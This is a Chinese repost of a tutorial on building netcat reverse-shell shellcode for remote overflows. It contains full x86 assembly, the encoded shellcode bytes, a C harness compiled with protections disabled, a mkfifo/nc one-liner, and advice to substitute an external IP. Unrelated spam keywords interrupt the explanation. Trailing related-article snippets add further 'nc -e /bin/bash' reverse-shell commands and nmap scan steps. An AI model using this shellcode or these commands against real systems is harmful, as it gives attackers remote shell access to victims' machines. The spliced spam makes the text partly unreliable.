使用netcat进行反弹链接的shellcode

from:http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat/

这篇文章主要是谈,在远程溢出时怎样构造shellcode,才能形成一个有效的反弹链接。

0x00 反向绑定远程shell

让本地主机和远程shell建立起连接的方法有很多种,其中最常见的是在远程主机上开放一个端口,然后把它的

stdout/stderr/stdin

重定向到一个shell上。

这样我们就可以在自己的主机上通过一个简单的netcat命令来连接它。

但是,大多数情况下这种方法并不能起作用,很多服务器只对外开放少量的几个端口,比如,http(s),ftp,smtp等。

其他的数据包都会被防火墙直接丢弃。解决这种问题的方法就是使用反弹链接,反弹链接的意思就是,让远程的主机主动连接我们的服务器。

所以,你需要在自己的机器上开放一个端口,等待着倒霉的受害者自己连接你的主机就可以了。

0x01 netcat -e命令

首先我们假设,目标网站上安装了netcat。

通常情况下netcat支持e参数,这个参数将会运行后面所跟的程序,并将它跟链接绑定。

如果我们把/bin/sh通过e参数绑定,并开启监听,那当我们使用远程主机连接到这台主机时,就相当于获得了一个shell。让我们来尝试一下。

在本地主机运行

?


1

netcat -lvp 9999

监听连入的链接。

新开一个shell运行

?


1

netcat -e /bin/sh 127.0.0.1 9999

这样,你的第一个shell将建立起一个链接,在其中执行ls whoami 等命令,测试一下它是否可以正常工作,
你也可以使用 Ctrl+c 来关闭这个链接。

注意:openbsd版本的netcat不支持 -e或者-c 参数。

你可以使用以下的语句来替代。

?


1

rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f

但是它太复杂了,很难在shellcode中运行。

0x02 汇编代码

现在我们就来看一下怎样把这条语句通过汇编执行,并放入shellcode中。

下面是,我们shellcode重要运行的汇编代码。(intel语法)

?


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

jmp short       forward

back:

pop             esi

xor             eax, eax

mov byte        [esi + 11], al    ; terminate /bin/netcat

mov byte        [esi + 14], al    ; terminate -e

mov byte        [esi + 22], al    ; terminate /bin/sh

mov byte        [esi + 38], al    ; terminate 127.127.127.127

mov byte        [esi + 43], al    ; terminate 9999

mov long        [esi + 44], esi   ; address of /bin/netcat in AAAA

lea             ebx, [esi + 12]   ; get address of -e 

mov long        [esi + 48], ebx   ; store address of -e in BBBB

lea             ebx, [esi + 15]   ; get address of /bin/sh

mov long        [esi + 52], ebx   ; store address of /bin/sh in CCCC

lea             ebx, [esi + 23]   ; get address of 127.127.127.127

mov long        [esi + 56], ebx   ; store address of 127.127.127.127 in DDDD

lea             ebx, [esi + 39]   ; get address of 9999

mov long        [esi + 60], ebx   ; store address of 9999 in EEEE

mov long        [esi + 64], eax   ; put NULL in FFFF

mov byte        al, 0x0b          ; pass the execve syscall number as argument

mov             ebx, esi         

lea             ecx, [esi + 44]   ; /bin/netcat -e /bin/sh etc etc

lea             edx, [esi + 64]   ; NULL

int             0x80              ; Run the execve syscall

forward:

call            back

db "/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF"

其实上面代码想做的翻译成c语言是如下两行

?


1

2

char *command[] = {"/bin/netcat", "-e", "/bin/sh", "127.127.127.127", "9999", NULL};

execve(command[0], command, NULL);

命令就是如下的字符串

?


1

/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF

字符串中各个部分被#隔开,是因为在shellcode中不能出现null,这会造成shellcode被截断,从而不能被
目标主机正确运行。

不管我们在哪里运行这段程序,首先需要知道的是命令字符串的地址。

所以我在第1行和第26行分别创建了两个标签(forword和back),使用call命令时(27行),首先会把返回地址入栈,返回地址就是下一条指令的地址,而下一条指令的地址恰巧就是我们的命令字符串。

回到第3行,我们把命令字符串地址弹出到ESI寄存器,然后将EAX初始化,注意我们不能直接使用

?


1

mov eax,0

因为null在shellcode中是不允许出现的。最后我们吧,命令字符串分开存放到内存之中。

路由器设置密码

安装win7系统

明天大涨的股票

无线摄像头

wifi路由器设置

在第5行到第9行,我们把寄存器中的0移动到字符串的末尾,使用替代#(取自eax寄存器,其中的0使用xor生成)之后我们需要一个各个字符串地址的数组,作为execve()的第二个参数。

在第十行,我们把 /bin/netcat 的地址放入 AAAA 所在的位置,程序中的11到18行也是在做同样的事情,最后19行我们把存入到FFFF的位置,作为字符串的结尾。

在第20行我们准备执行系统调用,我们首先把0xb存储到eax中,esi(/bin/netcat的地址)存储到ebx中,字符串的地址存储到,ecx中,最后edx存储null,之后使用0x80触发系统调用,不出意外的话,一个反弹链接的指令就成功执行了。

这个例子中,ip地址使用的是127.127.127.127  端口号是 9999,这是一个本地的ip地址。通常情况下
你需要使用一个外网IP来替换掉它,如果两个ip长度不同的话,你要仔细的修改掉所有与他相关联的汇编代码。

0x03 编译测试shellcode

现在,需要把汇编代码存储到一个asm文件之中,我们这里叫做shell.asm,使用以下的语句编译它,

?


1

nasm -felf32 -o shell.o shell.asm

使用,objdump -D命令我们就可以看到这个小程序的opcodes,使用下面一段指令我们就可以把它们
放入到一个C字符串中

?


1

for i in $(objdump -d shell.o -M intel |grep "^ " |cut -f2); do echo -n ‘\x‘$i; done;echo

最后我们得到

?


1

\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46

最后我们使用一段c程序来验证这个shell是否可行。

?


1

2

3

4

5

6

7

char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";

int main()

{

    int (*ret)() = (int(*)())shellcode;

    ret();

}

想要编译它,需要关闭一些安全编译选项,然后使用如下命令。

?


1

gcc shellcode.c -fno-stack-protector -z execstack -o shellcode

在另一个shell中运行netcat -lvp 9999,然后运行这个c程序./shellcode如果一切正确的话你就可以得到一个反弹链接的shell了。

en: http://blog.csdn.net/wgwgnihao/article/details/45933359

cn: http://www.2cto.com/Article/201404/292131.html

时间: 08-30

使用netcat进行反弹链接的shellcode的相关文章

反弹链接

[反弹链接] 反弹链接,码迷,mamicode.com

转:渗透测试工具实战技巧合集

转自:http://www.freebuf.com/sectool/105524.html   选择性的删了一部分内容 最好的 NMAP 扫描策略 # 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # 端口发现,

metasploit篇-01

全称:metasploit Framework 分为metasploit Framework 有商业版本也有免费版本的 是由ruby语言写的,是开源的 windows和linux都有 一般我们用的都是控制台模式 攻击分类: exploit溢出 auxiliary模块 encoders编码 payload攻击载荷 溢出:分为主动溢出和被动溢出 metasploit的安装有很多方法,在这里就不多说了 metasploit基础 是一个漏洞框架,全称the metasploit framework 简称

信息安全领域有哪些非常棒的资源?

干货大放送!Github最全渗透测试资源! 在线资源: 渗透测试资源:Metasploit Unleashed 链接地址 - 免费攻防安全metasploita课程PTES 链接地址 - 渗透测试执行标准OWASP 链接地址 - 开源Web应用安全项目 Shellcode开发:Shellcode Tutorials 链接地址 - 如何写shellcode的指导Shellcode Examples 链接地址 - Shellcode数据库 社会工程学资源:社工库框架 链接地址 - 社工所需信息资源

渗透中Necat的另类用法

Necat 是一个伟大而实用的用于 TCP 和 UPD 网络连接协议的读写程序.同时 Necat 也被誉为网络中的瑞士军刀,在许多黑客教程中 Necat 也被广泛使用.Necat 最常见用途是设置反向连接和 bind shell ,管道和重定向网络流量,端口侦听,调试程序和脚本,抓取 banner 等作用.在本教程中,我们将学到以下内容: 1. Banner 抓取 2. 原始连接 3. Webserver 交互 4. 文件传输 5. Necat 端口扫描6. 绑定和反弹 shell 我们将使用运

NC / Netcat - 反弹Shell

原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>nc -l -p 2222 受害机:反弹/bin/bash 到攻击机(192.168.12.109)的2222端口 [email protected]:~# nc 192.168.12.109 2222 -e /bin/bash 反弹shell成功后即可在windows的cmd.exe下执行Linux下的/

如何写绑定端口shellcode

前面<如何编写本地shellcode>一文介绍如何编写shellcode取得shell进行交互.本文介绍另一个例子,绑定端口的shellcode.攻击通过网络利用缓冲区溢出漏洞,注入该shellcode,那就可以能过shellcode打开的端口进行利用. Shellcode逻辑C代码 绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell. 代码如下: #include <unis

netcat/nc

netcat或者是nc工具被称为网络上的瑞士军刀,因此netcat也有各个版本出现在各个系统中,而在Centos 7 开始netcat也被整合到namp项目中.当然如果是开源系统中,如Ubuntu或Linux系统中则可以通过apt或yum来进行安装,在DOS系统下可以通过下载nc for windows获取到二进制版的netcat.因为netcat工具实际上可以通过tcp.udp或者是socket等等的方式在两台主机之间建立链接,然后通过链接读取数据流,而在接收传输数据流的过程中可以任意发挥你的

Linux下的ICMP反弹后门:PRISM

搜索的时候无意中看见的这款基于ping的ICMP后门.于是到作者的github上看看,居然是阴文的,为了过级,只能强忍着看了,学生狗伤不起.还好比较简单易懂,正如简介说的一样:“PRISM is an user space stealth reverse shell backdoor, written in pure C.” 项目地址:https://github.com/andreafabrizi/prism PRISM只有两个主文件,配置简单,能在Linux.Solaris.AIX.BSD/

Linux Netcat命令

一.简介 netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.netcat所做的就是在两台电脑之间建立链接并返回两个数据流,通过与其他工具结合和重定向,你可以在脚本中以多种方式使用,你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. 二.安装 1)yum安装 yum install -y netcat 2)源码安装 wget http://ncu.dl.sourceforge.net/project/netcat/netcat/0.7.